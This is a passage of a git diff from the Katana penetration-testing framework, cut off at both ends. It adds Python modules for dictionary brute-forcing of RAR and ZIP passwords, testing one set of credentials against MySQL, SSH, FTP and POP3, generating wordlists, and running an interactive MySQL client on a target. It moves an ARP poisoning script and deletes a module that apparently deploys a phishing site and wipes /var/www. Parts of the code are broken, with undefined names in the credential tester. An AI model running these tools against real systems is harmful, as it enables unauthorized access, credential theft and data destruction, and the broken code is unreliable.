+ # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[SQL_PORT , "port" , "no" , "Service port"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username target"]] #[2][0] + initialize.DEFAULT_VARIABLE +=[[PASSWORD , "pass" , "yes" , "Password target"]] #[3][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + getFunction.live(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0]) + if True: + try: + con=MySQLdb.connect(initialize.DEFAULT_VARIABLE[0][0], initialize.DEFAULT_VARIABLE[2][0], initialize.DEFAULT_VARIABLE[3][0],"") + if True: + try: + cmd="nop" + print "\n "+Hlp+" SQL Client help" + print " -------------------------------------------------------------------------------------------------------" + print " |"+colors[6]+"Command"+colors[0]+" | "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+" |" + print " -------------------------------------------------------------------------------------------------------" + print " |show databases | list databases | show databases |" + print " |use | select database | use user_table |" + print " |show tables | list tables | show tables |" + print " |create database | create databases| create database USERS | " + print " |create table | create tables | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20)) | " + print " |drop database | drop databases | drop database USERS | " + print " |drop table | drop tables | drop table EMAIL | " + print " |insert | insert data | insert into EMAILS values ( '2', 'Dean@mail.ru' ) | " + print " |update | update data | update EMAILS set name='Willy' where id=1 | " + print " |select | select data | select id, name from EMAILS | " + print " -------------------------------------------------------------------------------------------------------\n" + current = "sql" + while(cmd!="exit"): + cmd = raw_input(Message.Client_prompt(current)) + cur = con.cursor() + try: + tor=cur.execute(cmd) + if True: + for x in range(tor): + print (" -%s") % cur.fetchone() + print " "+Suf+" ------- > OK." + if cmd[:3] == "use": current = "sql:"+cmd[4:] + except: + print " "+Bad+" No command '"+cmd+"' found" + except: + Errors.Errors(event=sys.exc_info(), info=False) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[2][0]+":"+initialize.DEFAULT_VARIABLE[3][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0]) # END CODE MODULE ############################################################################################ + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,port,username,password): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = port + initialize.DEFAULT_VARIABLE[2][0] = username + initialize.DEFAULT_VARIABLE[3][0] = password + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/ClientPOP3.py b/scripts/clt/clientpop3.py similarity index 100% rename from scripts/ClientPOP3.py rename to scripts/clt/clientpop3.py diff --git a/scripts/facebrok.py b/scripts/facebrok.py deleted file mode 100644 index 6cdcc2f..0000000 --- a/scripts/facebrok.py +++ /dev/null @@ -1,114 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# @KATANA # -# Modules : facebrok # -# Script by : RedToor # -# Date : 23/08/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Libraries # -import subprocess # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # -username_sql="root" -password_sql="" -database_sql="facebrok_db" -username_cp="admin" -password_cp="admin" -# :-:-:-:-:-:-:-:-:-:-:-:-:-: # - -def run(username,password,database,userp,passp): - global username_sql,password_sql,database_sql,username_cp,password_cp - username_sql=username - password_sql=password - database_sql=database - username_cp=userp - password_cp=passp - facebrok(1) - -def facebrok(run): - try: - global username_sql,password_sql,database_sql,username_cp,password_cp - if run!=1: - actions=raw_input(d.prompt("set/facebrok")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("usql","yes","Username sql",username_sql) - d.descrip("psql","yes","Password sql",password_sql) - d.descrip("dsql","yes","Database sql",database_sql) - d.descrip("upan","no","Username CPanel",username_cp) - d.descrip("ppan","no","Password CPanel",password_cp) - print "" - elif actions[0:8] == "set usql": - username_sql = actions[9:] - d.change("usql",username_sql) - facebrok(0) - elif actions[0:8] == "set psql": - password_sql = actions[9:] - d.change("psql",password_sql) - facebrok(0) - elif actions[0:8] == "set dsql": - database_sql = actions[9:] - d.change("dsql",database_sql) - facebrok(0) - elif actions[0:8] == "set upan": - username_cp = actions[9:] - d.change("upan",username_cp) - facebrok(0) - elif actions[0:8] == "set ppan": - password_cp = actions[9:] - d.change("ppan",password_cp) - facebrok(0) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - elif actions=="run" or actions=="r": - d.run() - try: - print("\n "+Alr+" Installing facebrok project in local server") - print " "+Alr+" Coping files to server",ping.status_cmd("cp -R files/facebrok/* "+PATCH_WWW,"\t\t\t") - print " "+Alr+" Giving privileges to files",ping.status_cmd("chmod -R 777 "+PATCH_WWW+"croak/","\t\t") - if True: - try: - print " "+Alr+" Starting Apache Server",ping.status_cmd("service apache2 start","\t\t\t") - print(" "+Alr+" Starting Mysql Server"),ping.status_cmd("service mysql start","\t\t\t") - print(" "+Alr+" Installing facebrok"),ping.status_cmd('wget -b -nv --post-data "server=127.0.0.1&user='+username_sql+'&pass='+password_sql+'&data='+database_sql+'&userp='+username_cp+'&passp='+password_cp+'" 127.0.0.1/croak/install/startgame.php','\t\t\t') - d.space() - print(" "+Got+" Script Running in http://127.0.0.1/") - print(" "+Got+" Control Panel in http://127.0.0.1/croak/") - d.space() - raw_input(" "+Hlp+" Press any key for Stop facebrok") - d.space() - print(" "+Alr+" Stoping Process") - print " "+Alr+" Removing files",ping.status_cmd("rm -R "+PATCH_WWW+"*","\t\t\t\t") - print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t") - print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t") - d.space() - except: - d.space() - print(" "+Alr+" Stoping Process") - print " "+Alr+" Removing files",ping.status_cmd("rm -R /var/www/*","\t\t\t\t") - print " "+Alr+" Stoping Apache",ping.status_cmd("service apache2 stop","\t\t\t\t") - print " "+Alr+" Stoping Mysql",ping.status_cmd("service mysql stop","\t\t\t\t") - d.space() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - facebrok(0) diff --git a/scripts/fle/__init__.py b/scripts/fle/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/fle/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/fle/bruteforcetorarfile.py b/scripts/fle/bruteforcetorarfile.py new file mode 100644 index 0000000..71a2e66 --- /dev/null +++ b/scripts/fle/bruteforcetorarfile.py @@ -0,0 +1,81 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from lib.rarfile.RARfile import * +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="LeSZO ZerO" + initialize.Version ="2.0" + initialize.Despcription ="Brute Force to RAR file." + initialize.CodeName ="fle/bt.rar" + initialize.DateCreation ="28/02/2015" + initialize.LastModification ="31/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["core/test/test.rar", "target" , "yes" , "Rar with pass"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + Message.loading_file() + Arch = open(initialize.DEFAULT_VARIABLE[1][0],"r") + if True: + leeArchivo = Arch.readlines() + try: + RARarch = RarFile(initialize.DEFAULT_VARIABLE[0][0]) + if True: + for palabra in leeArchivo: + palabraLlegada = palabra.split("\n") + try: + RARarch.extractall(pwd=str(palabraLlegada[0])) + if True: + getFunction.savetwo("BruteForceRAR",initialize.DEFAULT_VARIABLE[0][0],palabraLlegada[0]) + print "\n-"+Suf+" file Cracked with =",str(palabraLlegada[0])+"\n" + break + except: + print " "+Alr+" Checking with ",str(palabraLlegada[0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/fle/bruteforcetozipfile.py b/scripts/fle/bruteforcetozipfile.py new file mode 100644 index 0000000..bc740de --- /dev/null +++ b/scripts/fle/bruteforcetozipfile.py @@ -0,0 +1,81 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import zipfile # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="LeSZO ZerO" + initialize.Version ="2.0" + initialize.Despcription ="Brute Force to ZIP file." + initialize.CodeName ="fle/bt.zip" + initialize.DateCreation ="28/02/2015" + initialize.LastModification ="31/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["core/test/test.zip", "target" , "yes" , "Zip with pass"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[DITIONARY_PASSWORDS , "dict" , "no" , "Wordlist"]] #[1][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions) :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + Message.loading_file() + Arch = open(initialize.DEFAULT_VARIABLE[1][0],"r") + if True: + leeArchivo = Arch.readlines() + try: + ZIParch = zipfile.ZipFile(initialize.DEFAULT_VARIABLE[0][0]) + if True: + for palabra in leeArchivo: + palabraLlegada = palabra.split("\n") + try: + ZIParch.extractall(pwd=str(palabraLlegada[0])) + if True: + getFunction.savetwo("BruteForceZIP",initialize.DEFAULT_VARIABLE[0][0],palabraLlegada[0]) + print "\n-"+Suf+" file Cracked with =",str(palabraLlegada[0])+"\n" + break + except: + print " "+Alr+" Checking with ",str(palabraLlegada[0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]) + except: + Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[1][0]) + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,dictionary): + initialize.DEFAULT_VARIABLE[0][0] = target + initialize.DEFAULT_VARIABLE[1][0] = dictionary + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/forenseIMAGE.py b/scripts/forenseIMAGE.py deleted file mode 100644 index d481e90..0000000 --- a/scripts/forenseIMAGE.py +++ /dev/null @@ -1,78 +0,0 @@ -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# @KATANA # -# Modules : exiftool runer # -# Script by : RedToor # -# Date : 28/09/2015 # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Katana Core # -from core.design import * # -from core.Setting import * # -from core import Errors # -from core import help # -from core import ping # -import sys # -d=DESIGN() # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Libraries # -import subprocess # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -# Default # -# :-:-:-:-:-:-:-:-:-:-:-:-:- # -defaultimg="core/test/test.jpg" -# :-:-:-:-:-:-:-:-:-:-:-:-:- # - -def run(image): - global defaultimg - defaultimg=image - exiftool(1) - -def exiftool(run): - try: - global defaultimg - if run!=1: - actions=raw_input(d.prompt("for/imagen")) - else: - actions="run" - if actions == "show options" or actions == "sop": - d.option() - d.descrip("imagen","yes","img for forence",defaultimg) - print "" - elif actions[0:10] == "set imagen": - defaultimg=ping.update(defaultimg,actions,"imagen") - d.change("target",defaultimg) - elif actions=="exit" or actions=="x": - d.goodbye() - exit() - elif actions=="help" or actions=="h": - help.help() - elif actions=="back" or actions=="b": - return - return - elif actions=="run" or actions=="r": - d.run() - try: - d.loading_file() - try: - with open(defaultimg,'r') as comprossed: - if True: - try: - print "\n "+Hlp+" Forence Imagen Client help\n" - print " ------------------------------------------" - print " |extrat_all | extrat all MD | ls |" - print " ------------------------------------------" - cmd="nop" - while(cmd!="exit"): - cmd = raw_input(d.Client_prompt('forence{IMAGEN}')) - if(cmd=="extract_all"): - subprocess.call("perl files/exiftool/exiftool "+defaultimg, shell=True) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - except: - Errors.Errors(event=sys.exc_info()[0], info=defaultimg) - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - else: - d.No_actions() - except: - Errors.Errors(event=sys.exc_info()[0], info=False) - exiftool(0) diff --git a/scripts/FuzzerFTP.py b/scripts/fzz/FuzzerFTP.py similarity index 100% rename from scripts/FuzzerFTP.py rename to scripts/fzz/FuzzerFTP.py diff --git a/scripts/mcs/__init__.py b/scripts/mcs/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/mcs/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/mcs/generatordictionary.py b/scripts/mcs/generatordictionary.py new file mode 100644 index 0000000..e5743a1 --- /dev/null +++ b/scripts/mcs/generatordictionary.py @@ -0,0 +1,151 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="2.1" + initialize.Despcription ="Generator of Dictionaries." + initialize.CodeName ="msc/gn.words" + initialize.DateCreation ="07/07/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[["/root/password-gen-katana.txt" , "output" , "yes" , "Output file"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[DEFAUTL_LONGITED , "long" , "no" , "Longited"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[["chars_min" , "chars" , "no" , "Chars word"]] #[2][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions): + getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + Message.helpAUX() + print " "+colors[7]+"Type Description"+colors[0] + print " chars_min = [a,b,c,...,z]" + print " chars_may = [A,B,C,...,Z]" + print " chars_num = [0,1,2,...,9]" + print " chars_mix = [a,b,...,0,1]" + Message.space() + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + if initialize.DEFAULT_VARIABLE[2][0] != "chars_min" and initialize.DEFAULT_VARIABLE[2][0] != "chars_may" and initialize.DEFAULT_VARIABLE[2][0] != "chars_num" and initialize.DEFAULT_VARIABLE[2][0] != "chars_mix": + print " "+Alr+" Error to set chars, use chars_min, chars_mix, chars_may or chars_num" + initialize.DEFAULT_VARIABLE[2][0]="chars_num" + main(True) + if True: + Maxima=1 + long_max = long(initialize.DEFAULT_VARIABLE[1][0]) + long_min = long(initialize.DEFAULT_VARIABLE[1][0]) + char_null = [''] + chars_min = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] + chars_may = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'] + chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] + chars_spe = ['.', '-', '_', '/', '@'] + permitidos = [] + permitidos += char_null + if initialize.DEFAULT_VARIABLE[2][0] == "chars_num": + permitidos += chars_num + if initialize.DEFAULT_VARIABLE[2][0] == "chars_may": + permitidos += chars_may + if initialize.DEFAULT_VARIABLE[2][0] == "chars_min": + permitidos += chars_min + if initialize.DEFAULT_VARIABLE[2][0] == "chars_mix": + permitidos +=chars_min + permitidos +=chars_num + total_chars = len(permitidos) + char_n_max = total_chars - 1 + cadena = [] + for chars in range(0, long_max): + cadena += [0] + for i in range (1, long_min+1): + cadena[-(i)] = 1 + cadena_max = [] + for chars in range(0, long_max): + cadena_max += [ total_chars -1 ] + def toClave(cadena1): + password = "" + for indice in cadena1: + password += permitidos[indice] + return password + def isMax(cadena1): + if toClave(cadena1) != toClave(cadena_max): + return False + return True + def aumentarCadena(cadena1): + unidad = 1 + acarreo = 0 + for digito in range(1,long_max +1): + if cadena[-(digito)] < char_n_max: + if unidad == 1: + cadena[-(digito)] += 1 + unidad = 0 + return cadena1 + elif acarreo == 1: + cadena[-(digito)] += 1 + acarreo = 0 + return cadena1 + else: + cadena[-(digito)] = 1 + acarreo = 1 + return cadena1 + for number_total in cadena_max: + Maxima=Maxima*number_total + procent=int(Maxima)/10 + counter=0 + porcent=0 + print " "+Alr+" Creating file... ",getFunction.status_cmd("echo >"+initialize.DEFAULT_VARIABLE[0][0], "\t\t\t") + print " "+Alr+" Generating... ["+str(Maxima)+"] Words to Generate "+str(porcent)+"% Complete" + fichero = open(initialize.DEFAULT_VARIABLE[0][0], 'w') + bucle = True + while bucle: + password = toClave(cadena) + fichero.write(password + '\n') + counter=counter+1 + if procent == counter: + procent=procent+procent + porcent=porcent+20 + print " "+War+" "+str(porcent)+"% Porcent Complete" + if isMax(cadena): + porcent=porcent+20 + print " "+War+" "+str(porcent)+"% Porcent Complete" + bucle = False + cadena = aumentarCadena(cadena) + print(" "+Suf+" Completed, output file in "+initialize.DEFAULT_VARIABLE[0][0]) + Message.space() + fichero.close() + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(output,longited,chars): + initialize.DEFAULT_VARIABLE [0][0] = output + initialize.DEFAULT_VARIABLE [1][0] = longited + initialize.DEFAULT_VARIABLE [2][0] = chars + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/mcs/mysettup.py b/scripts/mcs/mysettup.py new file mode 100644 index 0000000..20164b4 --- /dev/null +++ b/scripts/mcs/mysettup.py @@ -0,0 +1,58 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import commands # +from core import info # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="2.0" + initialize.Despcription ="Setting computer" + initialize.CodeName ="mcs/i.settup" + initialize.DateCreation ="30/08/2015" + initialize.LastModification ="25/03/2016" + + # DEFAULT VARIABLES +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + if True: + Message.run() + # CODE MODULE ############################################################################################ + print " "+colors[12]+"Computer"+colors[0] + print " IP Local : ",getFunction.Myip() + print " Ip Externa : ",getFunction.get_external_ip() + print " Interfaces : ",getFunction.get_interfaces() + print " Gateway : ",getFunction.get_gateway() + print " Machaddress: ",getFunction.my_mac_address() + print " Username : ",commands.getoutput('whoami') + print " OS : ",commands.getoutput('uname') + print " Version : ",commands.getoutput('uname -r') + print " "+colors[13]+"Katana"+colors[0] + print " Core : ",info.version + print " Build : ",info.build + return + # END CODE MODULE ############################################################################################ + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(): + main(False) +# END LINKER FUNCTION \ No newline at end of file diff --git a/scripts/mcs/testcredentialtoprotocols.py b/scripts/mcs/testcredentialtoprotocols.py new file mode 100644 index 0000000..46c8568 --- /dev/null +++ b/scripts/mcs/testcredentialtoprotocols.py @@ -0,0 +1,100 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +import MySQLdb # +from lib.ftplib.ftplib import FTP +from core import help # +from pexpect import pxssh # +import poplib # +import socket # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="RedToor" + initialize.Version ="1.1" + initialize.Despcription ="Test Credentials protocols." + initialize.CodeName ="mcs/ts.login" + initialize.DateCreation ="03/05/2015" + initialize.LastModification ="27/03/2016" + + # DEFAULT VARIABLES VALUE NAME RQ DESCRIPTION + initialize.DEFAULT_VARIABLE =[[LOCAL_IP , "target" , "yes" , "IP or DNS"]] #[0][0] + initialize.DEFAULT_VARIABLE +=[[USERNAME , "user" , "yes" , "Username"]] #[1][0] + initialize.DEFAULT_VARIABLE +=[["anonymous" , "pass" , "yes" , "Password"]] #[2][0] +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + # HEAD MODULE + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionShowOptions(actions):getFunction.ShowOptions(initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionSetValue(actions) :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE) + elif getFunction.KatanaCheckActionisBack(actions) :return + # END HEAD MODULE + elif getFunction.runModule(actions): + Message.run() + # CODE MODULE ############################################################################################ + try: + Message.testing("Mysql","3306") + MySQLdb.connect(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],'') + Message.live_protocol() + if True: + print(" "+Suf+" Logged with "+initialize.DEFAULT_VARIABLE[1][0]+"/"+initialize.DEFAULT_VARIABLE[2][0]+" in Mysql") + except: + print " "+Bad+" Service Off or No Logged." + + try: + Message.testing("SSH",SSH_PORT) + connect = pxssh.pxssh() + connect.login(initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0]) + d.live_protocol() + if True: + print(" "+Suf+" Logged with "+initialize.DEFAULT_VARIABLE[1][0]+"/"+initialize.DEFAULT_VARIABLE[2][0]+" in SSH") + except: + print " "+Bad+" Service Off or No Logged." + try: + Message.testing("FTP",FTP_PORT) + ftp.login(initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0]) + if True: + print(" "+Suf+" Logged with "+initialize.DEFAULT_VARIABLE[1][0]+"/"+initialize.DEFAULT_VARIABLE[2][0]+" in FTP") + except: + print " "+Bad+" Service Off or No Logged." + try: + Message.testing("POP3",POP_PORT) + red=poplib.POP3(initialize.DEFAULT_VARIABLE[0][0], 110) + red.user(initialize.DEFAULT_VARIABLE[1][0]+"@"+initialize.DEFAULT_VARIABLE[0][0]) + red.pass_(initialize.DEFAULT_VARIABLE[2][0]) + if True: + print(" "+Suf+" Logged with "+initialize.DEFAULT_VARIABLE[1][0]+"/"+initialize.DEFAULT_VARIABLE[2][0]+" in POP3") + except: + print " "+Bad+" Service Off or No Logged." + # END CODE MODULE ############################################################################################ + else: + getFunction.KatanaCheckActionGlobalCommands(actions) + # ERROR GENERAL + except: + Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno) + # END ERROR GENERAL + main(True) +# END MAIN FUNCTION + +# LINKER FUNCTION +def run(target,username,password): + initialize.DEFAULT_VARIABLE [0][0] = target + initialize.DEFAULT_VARIABLE [1][0] = username + initialize.DEFAULT_VARIABLE [2][0] = password + main(False) +# END LINKER FUNCTION diff --git a/scripts/ARPPoisoning.py b/scripts/net/ARPPoisoning.py similarity index 100% rename from scripts/ARPPoisoning.py rename to scripts/net/ARPPoisoning.py diff --git a/scripts/net/__init__.py b/scripts/net/__init__.py new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/scripts/net/__init__.py @@ -0,0 +1 @@ + diff --git a/scripts/net/arpmon.py b/scripts/net/arpmon.py new file mode 100644 index 0000000..db56eff --- /dev/null +++ b/scripts/net/arpmon.py @@ -0,0 +1,82 @@ +# This module requires katana framework +# https://github.com/RedToor/Katana +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Katana Core # +from core.design import * # +from core.Setting import * # +from core import Errors # +from core import getFunction # +import sys # +Message=DESIGN() # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # +# Libraries # +from datetime import datetime +from time import gmtime, strftime +from subprocess import PIPE, Popen +import re # +import curses # +import time # +# :-:-:-:-:-:-:-:-:-:-:-:-:-: # + +# INFORMATION MODULE +def initialize(): + initialize.Author ="cl3ar" + initialize.Version ="1.1" + initialize.Despcription ="Arp Attack monitor" + initialize.CodeName ="net/arpmon" + initialize.DateCreation ="28/02/2015" + initialize.LastModification ="24/03/2016" + + # DEFAULT VARIABLES +initialize() +# END INFORMATION MODULE + +# MAIN FUNCTION +def main(run): + try: + if run: actions=raw_input(Message.prompt(initialize.CodeName)) + else : actions="run" + if getFunction.KatanaCheckActionisBack(actions) :return + if True: + Message.run() + # CODE MODULE ############################################################################################ + cmd=Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) + try: + starting=cmd.stdout.read() + cmd.stdout.close() + except: + error=cmd.stderr.read() + print error + cmd.stdout.close() + print "[+] No network found" + pattern = r"((([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5])[ (\[]?(\.|dot)[ )\]]?){3}([01]?[0-9]?[0-9]|2[0-4][0-9]|25[0-5]))" + print " "+Alr+" Monitoring ARP's tables" + while(True): + cmd=Popen(['arp', '-a', '-n'], stdout=PIPE, stderr=PIPE) + try: + look=cmd.stdout.read() + cmd.stdout.close() + except: + error=cmd.stderr.read() + cmd.stdout.close() + print(" "+Bad+" No network found") + if(str(starting))==(str(look)): + print " "+Alr+" all right, the ARP/s tables have not changed... ", " at: ", datetime.now().strftime('%H:%M:%S') + else: 